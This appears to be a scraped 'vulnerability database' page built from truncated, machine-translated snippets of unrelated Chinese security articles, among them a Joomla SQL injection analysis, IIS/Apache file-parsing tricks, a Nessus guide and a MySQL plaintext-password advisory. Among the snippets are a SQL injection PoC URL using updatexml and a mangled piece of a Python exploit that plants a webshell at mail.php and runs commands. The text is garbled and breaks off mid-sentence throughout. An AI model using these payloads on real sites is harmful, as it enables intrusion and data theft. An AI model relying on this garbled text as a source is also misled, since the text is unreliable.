vulnerability database

Nmap memo form: From Discovery to vulnerability exploitation (Part 5) This is the last part of the memo list. Here we will mainly discuss vulnerability assessment and penetration testing.Database Audit list database names nmap-sV--script=mysql-databases192.168.195.130 The database list is not displayed because the

Joomla CMS 3.2-3.4.4 SQL Injection Vulnerability Analysis Yesterday, Joomla CMS released the new version 3.4.5, which fixes a high-risk SQL injection vulnerability. Versions 3.2 to 3.4.4 are affected. Attackers can exploit this vulnerability to directly obtain sensitive information in the database, or even obtain logge

Blog intrusion is too easy! Everyone should pay attention to AH! Vulnerability One: Database Download vulnerability The first step is to search for attack targets Open the search engine, search "Pragram by Dlog", you can find many blog pages, these blogs are used "Dlog ruins modified version" established. The foliage we are looking for is a 1.2 version of the Ba

Our recentAdvisoryDescribes an ASP. NET vulnerability which was recently publicly disclosed. this blog post will give you more information about the vulnerability and the workaround. it will also provide a script which will help you detect ASP. NET applications on your server that are in a vulnerable configuration. The Impact of the Vulnerability ASP. net uses e

Access http://192.168.0.104:80/, assuming a port number of 80 is started The environment has been built successfully.Click Mark Read: You can use the burp grab to get the URL Http://192.168.0.104/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF Where the vulnerability exists: CATEGORY=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF Poc: Http://192.168.0.104/home/index/readcategorymsg?category[0]=bindcategory[1]=0 and (Updatexml (1,conca

on file parsing and uploading vulnerabilityfile Parsing VulnerabilityThe main reason is that some special files have been exploited by IIS, Apache, Nginx and other services to interpret the script file format and execute it in some cases. IIS 5.x/6.0 Parsing Vulnerabilityiis6.0 The following three main parsing vulnerabilities:??1. Directory Parsing Vulnerability/xx.asp/xx.jpg?? Create a folder under the site named. asp,. ASA, and any file extension wi

js| Security | Server Overview: Server Vulnerabilities are the origin of security problems, hackers on the site is mostly from the search for the other side of the vulnerability began. Therefore, only by understanding their own vulnerabilities, site managers can take appropriate countermeasures to prevent foreign attacks. Here are some common vulnerabilities for servers, including Web servers and JSP servers. What's wrong with Apache leaking any rewr

trouble scanning system (and can be used for free), Nessus incredibly no Chinese version ... This point ... The following I simply say Nessus 4.2.0 installation, use. I downloaded the version of Nessus 4.2.0 for Windows, widely used in Windows XP, 2003, Vista, 2008 7, with the bit and the bit can be used to download according to their own needs, I downloaded the bit. Installation does not say, I believe that look at the city, if not--suggest looking for a basic look at Windows:) After loadi

MySQL winmysqladmin 1.1 to explicitly stored MySQL Password Vulnerability Source: Involve program: Winmysqladmin Details: Winmysqladmin is a MySQL management software, found it explicitly stored MySQL password in C: \ winnt \ My. INI file. --- # This File was made using the winmysqladmin 1.1 Tool [Mysqld] Basedir = C:/MySQL Datadir = C:/MySQL/Data [Winmysqladmin] Server = C:/MySQL/bin/mysqld-nt.exe User = Admin Password = XXXXX (i

\x5c0\x5c0connection"; b:1;} \xf0\x9d\x8c\x86'req= Urllib2. Request (url=sys.argv[1],headers={'user-agent': UA}) Opener.open (req) Data=Urllib.urlencode (values) Req= Urllib2. Request (sys.argv[1],data) Comeback=Opener.open (req). Read ()if 'cctv123' inchComeback:Print "Shellurl:"+sys.argv[1]+"/mail.php" Print "ps:if the shell url wrong try http://webUrlRoot/mail.php"elif 'cctv321' inchComeback:Print "The command can work,but the path maybe can not write!"elif 'Cctvcmd' inchComeback:cmd=

From the current network security, we are most concerned about and contact the most Web page vulnerability should be ASP, in this regard, small bamboo is an expert, I have no say. However, in the case of PHP, there are also serious security issues, but there are few articles in this area. Let's just talk a little bit about the bugs in the PHP page.I made a summary of the current common PHP vulnerabilities, broadly divided into the following: including

LoreArticle. PHPSQL injection vulnerability. Read the LoreArticle. PHPSQL injection vulnerability. Lore is a WEB-based article management system. Lore does not fully Filter user-submitted URIs. remote attackers can exploit this vulnerability to launch SQL injection attacks to obtain sensitive information. The problem is "> Vu